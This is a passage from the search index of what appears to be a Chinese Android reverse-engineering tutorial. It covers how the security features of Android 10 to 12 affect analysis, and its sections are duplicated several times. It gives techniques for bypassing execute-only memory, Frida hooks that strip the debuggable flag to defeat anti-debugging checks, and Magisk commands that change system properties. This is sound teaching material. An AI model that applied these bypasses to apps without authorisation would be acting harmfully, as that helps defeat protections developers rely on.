","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:6","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#36-android-10-q-api-29"},{"categories":null,"collections":null,"content":"3.6 Android 10 (Q, API 29) Android 10 在原生安全层面引入了多项重要变化。 3.6.1 Scoped Storage (分区存储) 应用只能访问自己的私有目录和特定的公共媒体文件，不再能自由访问外部存储。 对逆向影响： 文件 dump 路径受限，不能随意写入 /sdcard/ 目录 Frida 脚本中保存文件需要使用应用的私有目录 // Frida 在 Scoped Storage 环境下保存文件 Java.perform(function() { var context = Java.use('android.app.ActivityThread') .currentApplication().getApplicationContext(); var filesDir = context.getFilesDir().getAbsolutePath(); console.log('[*] 可写目录: ' + filesDir); // 文件操作使用 filesDir 作为基础路径 }); 3.6.2 Execute-Only Memory (XOM) Android 10 为 native 代码引入了仅执行内存 (XOM) 机制。.text 段被标记为仅执行，不可读取。 核心影响：传统的内存 dump 技术无法直接读取代码段。 # XOM 内存权限对比 传统 (Android 9 及更早): .text 段权限: r-x (可读可执行) 可以直接通过 /proc/pid/mem 读取代码 Android 10+ (XOM 启用): .text 段权限: --x (仅执行) 通过 /proc/pid/mem 读取 .text 段返回全零 XOM 绕过技术： # 绕过方法 1: 使用 ptrace (Frida 默认使用此方式) # ptrace 系统调用不受 XOM 限制 # Frida 通过 ptrace attach 到目标进程后可以正常读取代码段 # 绕过方法 2: 通过 adb 禁用 XOM (需要 root) # adb shell setprop debug.arm64.xom false # 部分设备可能不支持此属性 # 绕过方法 3: 修改 ELF phdr 移除 XOM 标志 # 将 PF_X (仅执行) 改为 PF_R|PF_X (可读可执行) # 需要修改 SO 文件的 Program Header # 绕过方法 4: 利用 mmap 重新映射 # 在 Frida 脚本中重新映射代码段为可读 // Frida 检查 XOM 状态 function checkXOM(moduleName) { var module = Process.findModuleByName(moduleName); if (module) { Process.enumerateRanges('--x').forEach(function(range) { if (range.base.compare(module.base) \u003e= 0 \u0026\u0026 range.base.compare(module.base.add(module.size)) \u003c 0) { console.log('[*] XOM 区域: ' + range.base + ' - ' + range.base.add(range.size) + ' 权限: ' + range.protection); } }); } } // 通过 Frida 读取 XOM 保护的代码段 function readXOMCode(address, size) { // Frida 通过 ptrace 可以绕过 XOM 限制 try { var buf = Memory.readByteArray(address, size); console.log('[*] 成功读取 ' + size + ' 字节'); return buf; } catch (e) { console.log('[-] 读取失败: ' + e); return null; } } 3.6.3 TLS 1.3 默认启用 Android 10 默认启用 TLS 1.3，提供更快的握手速度和更强的安全性。 对逆向影响：TLS 1.3 加密了更多的握手信息（如证书），使被动嗅探更加困难。但使用中间人代理（如 mitmproxy）的主动拦截仍然有效。 3.6.4 MAC 地址随机化 Android 10 对每个 Wi-Fi 网络使用随机 MAC 地址，防止跨网络跟踪设备。 对逆向影响： 基于 MAC 地址的设备指纹识别失效 分析设备指纹时需要关注应用是否使用了其他持久化标识符 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:6","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#361-scoped-storage-分区存储"},{"categories":null,"collections":null,"content":"3.6 Android 10 (Q, API 29) Android 10 在原生安全层面引入了多项重要变化。 3.6.1 Scoped Storage (分区存储) 应用只能访问自己的私有目录和特定的公共媒体文件，不再能自由访问外部存储。 对逆向影响： 文件 dump 路径受限，不能随意写入 /sdcard/ 目录 Frida 脚本中保存文件需要使用应用的私有目录 // Frida 在 Scoped Storage 环境下保存文件 Java.perform(function() { var context = Java.use('android.app.ActivityThread') .currentApplication().getApplicationContext(); var filesDir = context.getFilesDir().getAbsolutePath(); console.log('[*] 可写目录: ' + filesDir); // 文件操作使用 filesDir 作为基础路径 }); 3.6.2 Execute-Only Memory (XOM) Android 10 为 native 代码引入了仅执行内存 (XOM) 机制。.text 段被标记为仅执行，不可读取。 核心影响：传统的内存 dump 技术无法直接读取代码段。 # XOM 内存权限对比 传统 (Android 9 及更早): .text 段权限: r-x (可读可执行) 可以直接通过 /proc/pid/mem 读取代码 Android 10+ (XOM 启用): .text 段权限: --x (仅执行) 通过 /proc/pid/mem 读取 .text 段返回全零 XOM 绕过技术： # 绕过方法 1: 使用 ptrace (Frida 默认使用此方式) # ptrace 系统调用不受 XOM 限制 # Frida 通过 ptrace attach 到目标进程后可以正常读取代码段 # 绕过方法 2: 通过 adb 禁用 XOM (需要 root) # adb shell setprop debug.arm64.xom false # 部分设备可能不支持此属性 # 绕过方法 3: 修改 ELF phdr 移除 XOM 标志 # 将 PF_X (仅执行) 改为 PF_R|PF_X (可读可执行) # 需要修改 SO 文件的 Program Header # 绕过方法 4: 利用 mmap 重新映射 # 在 Frida 脚本中重新映射代码段为可读 // Frida 检查 XOM 状态 function checkXOM(moduleName) { var module = Process.findModuleByName(moduleName); if (module) { Process.enumerateRanges('--x').forEach(function(range) { if (range.base.compare(module.base) \u003e= 0 \u0026\u0026 range.base.compare(module.base.add(module.size)) \u003c 0) { console.log('[*] XOM 区域: ' + range.base + ' - ' + range.base.add(range.size) + ' 权限: ' + range.protection); } }); } } // 通过 Frida 读取 XOM 保护的代码段 function readXOMCode(address, size) { // Frida 通过 ptrace 可以绕过 XOM 限制 try { var buf = Memory.readByteArray(address, size); console.log('[*] 成功读取 ' + size + ' 字节'); return buf; } catch (e) { console.log('[-] 读取失败: ' + e); return null; } } 3.6.3 TLS 1.3 默认启用 Android 10 默认启用 TLS 1.3，提供更快的握手速度和更强的安全性。 对逆向影响：TLS 1.3 加密了更多的握手信息（如证书），使被动嗅探更加困难。但使用中间人代理（如 mitmproxy）的主动拦截仍然有效。 3.6.4 MAC 地址随机化 Android 10 对每个 Wi-Fi 网络使用随机 MAC 地址，防止跨网络跟踪设备。 对逆向影响： 基于 MAC 地址的设备指纹识别失效 分析设备指纹时需要关注应用是否使用了其他持久化标识符 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:6","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#362-execute-only-memory-xom"},{"categories":null,"collections":null,"content":"3.6 Android 10 (Q, API 29) Android 10 在原生安全层面引入了多项重要变化。 3.6.1 Scoped Storage (分区存储) 应用只能访问自己的私有目录和特定的公共媒体文件，不再能自由访问外部存储。 对逆向影响： 文件 dump 路径受限，不能随意写入 /sdcard/ 目录 Frida 脚本中保存文件需要使用应用的私有目录 // Frida 在 Scoped Storage 环境下保存文件 Java.perform(function() { var context = Java.use('android.app.ActivityThread') .currentApplication().getApplicationContext(); var filesDir = context.getFilesDir().getAbsolutePath(); console.log('[*] 可写目录: ' + filesDir); // 文件操作使用 filesDir 作为基础路径 }); 3.6.2 Execute-Only Memory (XOM) Android 10 为 native 代码引入了仅执行内存 (XOM) 机制。.text 段被标记为仅执行，不可读取。 核心影响：传统的内存 dump 技术无法直接读取代码段。 # XOM 内存权限对比 传统 (Android 9 及更早): .text 段权限: r-x (可读可执行) 可以直接通过 /proc/pid/mem 读取代码 Android 10+ (XOM 启用): .text 段权限: --x (仅执行) 通过 /proc/pid/mem 读取 .text 段返回全零 XOM 绕过技术： # 绕过方法 1: 使用 ptrace (Frida 默认使用此方式) # ptrace 系统调用不受 XOM 限制 # Frida 通过 ptrace attach 到目标进程后可以正常读取代码段 # 绕过方法 2: 通过 adb 禁用 XOM (需要 root) # adb shell setprop debug.arm64.xom false # 部分设备可能不支持此属性 # 绕过方法 3: 修改 ELF phdr 移除 XOM 标志 # 将 PF_X (仅执行) 改为 PF_R|PF_X (可读可执行) # 需要修改 SO 文件的 Program Header # 绕过方法 4: 利用 mmap 重新映射 # 在 Frida 脚本中重新映射代码段为可读 // Frida 检查 XOM 状态 function checkXOM(moduleName) { var module = Process.findModuleByName(moduleName); if (module) { Process.enumerateRanges('--x').forEach(function(range) { if (range.base.compare(module.base) \u003e= 0 \u0026\u0026 range.base.compare(module.base.add(module.size)) \u003c 0) { console.log('[*] XOM 区域: ' + range.base + ' - ' + range.base.add(range.size) + ' 权限: ' + range.protection); } }); } } // 通过 Frida 读取 XOM 保护的代码段 function readXOMCode(address, size) { // Frida 通过 ptrace 可以绕过 XOM 限制 try { var buf = Memory.readByteArray(address, size); console.log('[*] 成功读取 ' + size + ' 字节'); return buf; } catch (e) { console.log('[-] 读取失败: ' + e); return null; } } 3.6.3 TLS 1.3 默认启用 Android 10 默认启用 TLS 1.3，提供更快的握手速度和更强的安全性。 对逆向影响：TLS 1.3 加密了更多的握手信息（如证书），使被动嗅探更加困难。但使用中间人代理（如 mitmproxy）的主动拦截仍然有效。 3.6.4 MAC 地址随机化 Android 10 对每个 Wi-Fi 网络使用随机 MAC 地址，防止跨网络跟踪设备。 对逆向影响： 基于 MAC 地址的设备指纹识别失效 分析设备指纹时需要关注应用是否使用了其他持久化标识符 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:6","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#363-tls-13-默认启用"},{"categories":null,"collections":null,"content":"3.6 Android 10 (Q, API 29) Android 10 在原生安全层面引入了多项重要变化。 3.6.1 Scoped Storage (分区存储) 应用只能访问自己的私有目录和特定的公共媒体文件，不再能自由访问外部存储。 对逆向影响： 文件 dump 路径受限，不能随意写入 /sdcard/ 目录 Frida 脚本中保存文件需要使用应用的私有目录 // Frida 在 Scoped Storage 环境下保存文件 Java.perform(function() { var context = Java.use('android.app.ActivityThread') .currentApplication().getApplicationContext(); var filesDir = context.getFilesDir().getAbsolutePath(); console.log('[*] 可写目录: ' + filesDir); // 文件操作使用 filesDir 作为基础路径 }); 3.6.2 Execute-Only Memory (XOM) Android 10 为 native 代码引入了仅执行内存 (XOM) 机制。.text 段被标记为仅执行，不可读取。 核心影响：传统的内存 dump 技术无法直接读取代码段。 # XOM 内存权限对比 传统 (Android 9 及更早): .text 段权限: r-x (可读可执行) 可以直接通过 /proc/pid/mem 读取代码 Android 10+ (XOM 启用): .text 段权限: --x (仅执行) 通过 /proc/pid/mem 读取 .text 段返回全零 XOM 绕过技术： # 绕过方法 1: 使用 ptrace (Frida 默认使用此方式) # ptrace 系统调用不受 XOM 限制 # Frida 通过 ptrace attach 到目标进程后可以正常读取代码段 # 绕过方法 2: 通过 adb 禁用 XOM (需要 root) # adb shell setprop debug.arm64.xom false # 部分设备可能不支持此属性 # 绕过方法 3: 修改 ELF phdr 移除 XOM 标志 # 将 PF_X (仅执行) 改为 PF_R|PF_X (可读可执行) # 需要修改 SO 文件的 Program Header # 绕过方法 4: 利用 mmap 重新映射 # 在 Frida 脚本中重新映射代码段为可读 // Frida 检查 XOM 状态 function checkXOM(moduleName) { var module = Process.findModuleByName(moduleName); if (module) { Process.enumerateRanges('--x').forEach(function(range) { if (range.base.compare(module.base) \u003e= 0 \u0026\u0026 range.base.compare(module.base.add(module.size)) \u003c 0) { console.log('[*] XOM 区域: ' + range.base + ' - ' + range.base.add(range.size) + ' 权限: ' + range.protection); } }); } } // 通过 Frida 读取 XOM 保护的代码段 function readXOMCode(address, size) { // Frida 通过 ptrace 可以绕过 XOM 限制 try { var buf = Memory.readByteArray(address, size); console.log('[*] 成功读取 ' + size + ' 字节'); return buf; } catch (e) { console.log('[-] 读取失败: ' + e); return null; } } 3.6.3 TLS 1.3 默认启用 Android 10 默认启用 TLS 1.3，提供更快的握手速度和更强的安全性。 对逆向影响：TLS 1.3 加密了更多的握手信息（如证书），使被动嗅探更加困难。但使用中间人代理（如 mitmproxy）的主动拦截仍然有效。 3.6.4 MAC 地址随机化 Android 10 对每个 Wi-Fi 网络使用随机 MAC 地址，防止跨网络跟踪设备。 对逆向影响： 基于 MAC 地址的设备指纹识别失效 分析设备指纹时需要关注应用是否使用了其他持久化标识符 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:6","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#364-mac-地址随机化"},{"categories":null,"collections":null,"content":"3.7 Android 11 (R, API 30) 3.7.1 包可见性限制 (Package Visibility) Android 11 限制了应用查询其他已安装应用的能力。默认情况下，应用只能看到特定的系统应用和在 \u003cqueries\u003e 标签中声明的应用。 \u003c!-- AndroidManifest.xml 中声明需要查询的包 --\u003e \u003cmanifest\u003e \u003cqueries\u003e \u003cpackage android:name=\"com.target.app\"/\u003e \u003c/queries\u003e \u003c!-- 或者请求完全的包可见性 --\u003e \u003cuses-permission android:name=\"android.permission.QUERY_ALL_PACKAGES\"/\u003e \u003c/manifest\u003e 对逆向影响： 编写分析工具时，枚举已安装应用需要 QUERY_ALL_PACKAGES 权限 hook PackageManager.getInstalledPackages() 可能返回不完整的结果 // Frida 绕过包可见性限制 Java.perform(function() { var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getInstalledPackages.overload('int').implementation = function(flags) { // 通过调用系统服务直接获取完整列表 console.log('[*] getInstalledPackages called with flags: ' + flags); var result = this.getInstalledPackages(flags); console.log('[*] Returned ' + result.size() + ' packages'); return result; }; }); 3.7.2 APK Signature Scheme v4 APK Signature Scheme v4 主要服务于 ADB 增量安装 (adb install --incremental)，生成一个单独的 .idsig 文件。 对逆向影响：v4 签名不影响传统的 APK 重打包流程，因为 v4 签名是可选的，且仅用于优化安装速度。 3.7.3 Scoped Storage 强制执行 Android 11 强制所有应用使用 Scoped Storage，移除了 requestLegacyExternalStorage 的豁免。 3.7.4 GWP-ASan (内存安全检测) GWP-ASan 是一个概率性的内存安全检测器，可以检测 use-after-free 和 heap-buffer-overflow。 对逆向影响： 利用内存安全漏洞的 exploit 可能被 GWP-ASan 检测到 分析 crash 时需要区分 GWP-ASan 报告和普通 crash ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:7","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#37-android-11-r-api-30"},{"categories":null,"collections":null,"content":"3.7 Android 11 (R, API 30) 3.7.1 包可见性限制 (Package Visibility) Android 11 限制了应用查询其他已安装应用的能力。默认情况下，应用只能看到特定的系统应用和在 标签中声明的应用。 对逆向影响： 编写分析工具时，枚举已安装应用需要 QUERY_ALL_PACKAGES 权限 hook PackageManager.getInstalledPackages() 可能返回不完整的结果 // Frida 绕过包可见性限制 Java.perform(function() { var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getInstalledPackages.overload('int').implementation = function(flags) { // 通过调用系统服务直接获取完整列表 console.log('[*] getInstalledPackages called with flags: ' + flags); var result = this.getInstalledPackages(flags); console.log('[*] Returned ' + result.size() + ' packages'); return result; }; }); 3.7.2 APK Signature Scheme v4 APK Signature Scheme v4 主要服务于 ADB 增量安装 (adb install --incremental)，生成一个单独的 .idsig 文件。 对逆向影响：v4 签名不影响传统的 APK 重打包流程，因为 v4 签名是可选的，且仅用于优化安装速度。 3.7.3 Scoped Storage 强制执行 Android 11 强制所有应用使用 Scoped Storage，移除了 requestLegacyExternalStorage 的豁免。 3.7.4 GWP-ASan (内存安全检测) GWP-ASan 是一个概率性的内存安全检测器，可以检测 use-after-free 和 heap-buffer-overflow。 对逆向影响： 利用内存安全漏洞的 exploit 可能被 GWP-ASan 检测到 分析 crash 时需要区分 GWP-ASan 报告和普通 crash ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:7","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#371-包可见性限制-package-visibility"},{"categories":null,"collections":null,"content":"3.7 Android 11 (R, API 30) 3.7.1 包可见性限制 (Package Visibility) Android 11 限制了应用查询其他已安装应用的能力。默认情况下，应用只能看到特定的系统应用和在 标签中声明的应用。 对逆向影响： 编写分析工具时，枚举已安装应用需要 QUERY_ALL_PACKAGES 权限 hook PackageManager.getInstalledPackages() 可能返回不完整的结果 // Frida 绕过包可见性限制 Java.perform(function() { var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getInstalledPackages.overload('int').implementation = function(flags) { // 通过调用系统服务直接获取完整列表 console.log('[*] getInstalledPackages called with flags: ' + flags); var result = this.getInstalledPackages(flags); console.log('[*] Returned ' + result.size() + ' packages'); return result; }; }); 3.7.2 APK Signature Scheme v4 APK Signature Scheme v4 主要服务于 ADB 增量安装 (adb install --incremental)，生成一个单独的 .idsig 文件。 对逆向影响：v4 签名不影响传统的 APK 重打包流程，因为 v4 签名是可选的，且仅用于优化安装速度。 3.7.3 Scoped Storage 强制执行 Android 11 强制所有应用使用 Scoped Storage，移除了 requestLegacyExternalStorage 的豁免。 3.7.4 GWP-ASan (内存安全检测) GWP-ASan 是一个概率性的内存安全检测器，可以检测 use-after-free 和 heap-buffer-overflow。 对逆向影响： 利用内存安全漏洞的 exploit 可能被 GWP-ASan 检测到 分析 crash 时需要区分 GWP-ASan 报告和普通 crash ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:7","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#372-apk-signature-scheme-v4"},{"categories":null,"collections":null,"content":"3.7 Android 11 (R, API 30) 3.7.1 包可见性限制 (Package Visibility) Android 11 限制了应用查询其他已安装应用的能力。默认情况下，应用只能看到特定的系统应用和在 标签中声明的应用。 对逆向影响： 编写分析工具时，枚举已安装应用需要 QUERY_ALL_PACKAGES 权限 hook PackageManager.getInstalledPackages() 可能返回不完整的结果 // Frida 绕过包可见性限制 Java.perform(function() { var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getInstalledPackages.overload('int').implementation = function(flags) { // 通过调用系统服务直接获取完整列表 console.log('[*] getInstalledPackages called with flags: ' + flags); var result = this.getInstalledPackages(flags); console.log('[*] Returned ' + result.size() + ' packages'); return result; }; }); 3.7.2 APK Signature Scheme v4 APK Signature Scheme v4 主要服务于 ADB 增量安装 (adb install --incremental)，生成一个单独的 .idsig 文件。 对逆向影响：v4 签名不影响传统的 APK 重打包流程，因为 v4 签名是可选的，且仅用于优化安装速度。 3.7.3 Scoped Storage 强制执行 Android 11 强制所有应用使用 Scoped Storage，移除了 requestLegacyExternalStorage 的豁免。 3.7.4 GWP-ASan (内存安全检测) GWP-ASan 是一个概率性的内存安全检测器，可以检测 use-after-free 和 heap-buffer-overflow。 对逆向影响： 利用内存安全漏洞的 exploit 可能被 GWP-ASan 检测到 分析 crash 时需要区分 GWP-ASan 报告和普通 crash ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:7","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#373-scoped-storage-强制执行"},{"categories":null,"collections":null,"content":"3.7 Android 11 (R, API 30) 3.7.1 包可见性限制 (Package Visibility) Android 11 限制了应用查询其他已安装应用的能力。默认情况下，应用只能看到特定的系统应用和在 标签中声明的应用。 对逆向影响： 编写分析工具时，枚举已安装应用需要 QUERY_ALL_PACKAGES 权限 hook PackageManager.getInstalledPackages() 可能返回不完整的结果 // Frida 绕过包可见性限制 Java.perform(function() { var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getInstalledPackages.overload('int').implementation = function(flags) { // 通过调用系统服务直接获取完整列表 console.log('[*] getInstalledPackages called with flags: ' + flags); var result = this.getInstalledPackages(flags); console.log('[*] Returned ' + result.size() + ' packages'); return result; }; }); 3.7.2 APK Signature Scheme v4 APK Signature Scheme v4 主要服务于 ADB 增量安装 (adb install --incremental)，生成一个单独的 .idsig 文件。 对逆向影响：v4 签名不影响传统的 APK 重打包流程，因为 v4 签名是可选的，且仅用于优化安装速度。 3.7.3 Scoped Storage 强制执行 Android 11 强制所有应用使用 Scoped Storage，移除了 requestLegacyExternalStorage 的豁免。 3.7.4 GWP-ASan (内存安全检测) GWP-ASan 是一个概率性的内存安全检测器，可以检测 use-after-free 和 heap-buffer-overflow。 对逆向影响： 利用内存安全漏洞的 exploit 可能被 GWP-ASan 检测到 分析 crash 时需要区分 GWP-ASan 报告和普通 crash ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:7","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#374-gwp-asan-内存安全检测"},{"categories":null,"collections":null,"content":"3.8 Android 12-12L (S, API 31-32) 3.8.1 隐私面板 (Privacy Dashboard) Android 12 引入隐私面板，显示过去 24 小时内应用对敏感权限（位置、摄像头、麦克风）的访问记录。 3.8.2 ART 模块化 (Mainline) 这是一项对逆向工程有深远影响的变化。ART 运行时成为 Project Mainline 的一部分，可以通过 Google Play 系统更新独立于 Android 版本进行更新。 对逆向影响： 同一个 Android 12 设备，ART 运行时版本可能不同 hook 框架（如 Frida）的兼容性可能在 ART 模块更新后出现问题 分析 ART 内部结构时需要确认具体的 ART 版本 # 查看 ART 模块版本 adb shell pm list packages | grep com.google.android.art adb shell dumpsys package com.google.android.art | grep version # 查看 ART apex 信息 adb shell ls -la /apex/com.android.art/ 3.8.3 ASLR 增强 Android 12 进一步增强了 ASLR，增大了地址空间随机化范围，特别是对 64 位进程。 3.8.4 Restricted Debugging 增强 Android 12 增强了对非 debuggable 应用的调试限制。 绕过 Restricted Debugging 的方法： # 方法 1: 使用 Magisk 修改 ro.debuggable 属性 # 在 Magisk 的 post-fs-data.sh 中添加: resetprop ro.debuggable 1 # 方法 2: 重打包 APK 启用 debuggable # 在 AndroidManifest.xml 中添加: # android:debuggable=\"true\" # 方法 3: 使用 Frida 直接注入（不需要 debuggable） frida -U -f com.target.app -l hook.js --no-pause // Frida 绕过 debuggable 检查 Java.perform(function() { var ApplicationInfo = Java.use('android.content.pm.ApplicationInfo'); var GET_META_DATA = 128; // 一些应用会检查自身是否为 debuggable var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getApplicationInfo.overload('java.lang.String', 'int') .implementation = function(packageName, flags) { var info = this.getApplicationInfo(packageName, flags); // 移除 FLAG_DEBUGGABLE 标志，防止反调试检测 info.flags.value = info.flags.value \u0026 ~2; // FLAG_DEBUGGABLE = 0x2 return info; }; }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:8","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#38-android-12-12l-s-api-31-32"},{"categories":null,"collections":null,"content":"3.8 Android 12-12L (S, API 31-32) 3.8.1 隐私面板 (Privacy Dashboard) Android 12 引入隐私面板，显示过去 24 小时内应用对敏感权限（位置、摄像头、麦克风）的访问记录。 3.8.2 ART 模块化 (Mainline) 这是一项对逆向工程有深远影响的变化。ART 运行时成为 Project Mainline 的一部分，可以通过 Google Play 系统更新独立于 Android 版本进行更新。 对逆向影响： 同一个 Android 12 设备，ART 运行时版本可能不同 hook 框架（如 Frida）的兼容性可能在 ART 模块更新后出现问题 分析 ART 内部结构时需要确认具体的 ART 版本 # 查看 ART 模块版本 adb shell pm list packages | grep com.google.android.art adb shell dumpsys package com.google.android.art | grep version # 查看 ART apex 信息 adb shell ls -la /apex/com.android.art/ 3.8.3 ASLR 增强 Android 12 进一步增强了 ASLR，增大了地址空间随机化范围，特别是对 64 位进程。 3.8.4 Restricted Debugging 增强 Android 12 增强了对非 debuggable 应用的调试限制。 绕过 Restricted Debugging 的方法： # 方法 1: 使用 Magisk 修改 ro.debuggable 属性 # 在 Magisk 的 post-fs-data.sh 中添加: resetprop ro.debuggable 1 # 方法 2: 重打包 APK 启用 debuggable # 在 AndroidManifest.xml 中添加: # android:debuggable=\"true\" # 方法 3: 使用 Frida 直接注入（不需要 debuggable） frida -U -f com.target.app -l hook.js --no-pause // Frida 绕过 debuggable 检查 Java.perform(function() { var ApplicationInfo = Java.use('android.content.pm.ApplicationInfo'); var GET_META_DATA = 128; // 一些应用会检查自身是否为 debuggable var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getApplicationInfo.overload('java.lang.String', 'int') .implementation = function(packageName, flags) { var info = this.getApplicationInfo(packageName, flags); // 移除 FLAG_DEBUGGABLE 标志，防止反调试检测 info.flags.value = info.flags.value \u0026 ~2; // FLAG_DEBUGGABLE = 0x2 return info; }; }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:8","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#381-隐私面板-privacy-dashboard"},{"categories":null,"collections":null,"content":"3.8 Android 12-12L (S, API 31-32) 3.8.1 隐私面板 (Privacy Dashboard) Android 12 引入隐私面板，显示过去 24 小时内应用对敏感权限（位置、摄像头、麦克风）的访问记录。 3.8.2 ART 模块化 (Mainline) 这是一项对逆向工程有深远影响的变化。ART 运行时成为 Project Mainline 的一部分，可以通过 Google Play 系统更新独立于 Android 版本进行更新。 对逆向影响： 同一个 Android 12 设备，ART 运行时版本可能不同 hook 框架（如 Frida）的兼容性可能在 ART 模块更新后出现问题 分析 ART 内部结构时需要确认具体的 ART 版本 # 查看 ART 模块版本 adb shell pm list packages | grep com.google.android.art adb shell dumpsys package com.google.android.art | grep version # 查看 ART apex 信息 adb shell ls -la /apex/com.android.art/ 3.8.3 ASLR 增强 Android 12 进一步增强了 ASLR，增大了地址空间随机化范围，特别是对 64 位进程。 3.8.4 Restricted Debugging 增强 Android 12 增强了对非 debuggable 应用的调试限制。 绕过 Restricted Debugging 的方法： # 方法 1: 使用 Magisk 修改 ro.debuggable 属性 # 在 Magisk 的 post-fs-data.sh 中添加: resetprop ro.debuggable 1 # 方法 2: 重打包 APK 启用 debuggable # 在 AndroidManifest.xml 中添加: # android:debuggable=\"true\" # 方法 3: 使用 Frida 直接注入（不需要 debuggable） frida -U -f com.target.app -l hook.js --no-pause // Frida 绕过 debuggable 检查 Java.perform(function() { var ApplicationInfo = Java.use('android.content.pm.ApplicationInfo'); var GET_META_DATA = 128; // 一些应用会检查自身是否为 debuggable var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getApplicationInfo.overload('java.lang.String', 'int') .implementation = function(packageName, flags) { var info = this.getApplicationInfo(packageName, flags); // 移除 FLAG_DEBUGGABLE 标志，防止反调试检测 info.flags.value = info.flags.value \u0026 ~2; // FLAG_DEBUGGABLE = 0x2 return info; }; }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:8","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#382-art-模块化-mainline"},{"categories":null,"collections":null,"content":"3.8 Android 12-12L (S, API 31-32) 3.8.1 隐私面板 (Privacy Dashboard) Android 12 引入隐私面板，显示过去 24 小时内应用对敏感权限（位置、摄像头、麦克风）的访问记录。 3.8.2 ART 模块化 (Mainline) 这是一项对逆向工程有深远影响的变化。ART 运行时成为 Project Mainline 的一部分，可以通过 Google Play 系统更新独立于 Android 版本进行更新。 对逆向影响： 同一个 Android 12 设备，ART 运行时版本可能不同 hook 框架（如 Frida）的兼容性可能在 ART 模块更新后出现问题 分析 ART 内部结构时需要确认具体的 ART 版本 # 查看 ART 模块版本 adb shell pm list packages | grep com.google.android.art adb shell dumpsys package com.google.android.art | grep version # 查看 ART apex 信息 adb shell ls -la /apex/com.android.art/ 3.8.3 ASLR 增强 Android 12 进一步增强了 ASLR，增大了地址空间随机化范围，特别是对 64 位进程。 3.8.4 Restricted Debugging 增强 Android 12 增强了对非 debuggable 应用的调试限制。 绕过 Restricted Debugging 的方法： # 方法 1: 使用 Magisk 修改 ro.debuggable 属性 # 在 Magisk 的 post-fs-data.sh 中添加: resetprop ro.debuggable 1 # 方法 2: 重打包 APK 启用 debuggable # 在 AndroidManifest.xml 中添加: # android:debuggable=\"true\" # 方法 3: 使用 Frida 直接注入（不需要 debuggable） frida -U -f com.target.app -l hook.js --no-pause // Frida 绕过 debuggable 检查 Java.perform(function() { var ApplicationInfo = Java.use('android.content.pm.ApplicationInfo'); var GET_META_DATA = 128; // 一些应用会检查自身是否为 debuggable var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getApplicationInfo.overload('java.lang.String', 'int') .implementation = function(packageName, flags) { var info = this.getApplicationInfo(packageName, flags); // 移除 FLAG_DEBUGGABLE 标志，防止反调试检测 info.flags.value = info.flags.value \u0026 ~2; // FLAG_DEBUGGABLE = 0x2 return info; }; }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:8","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 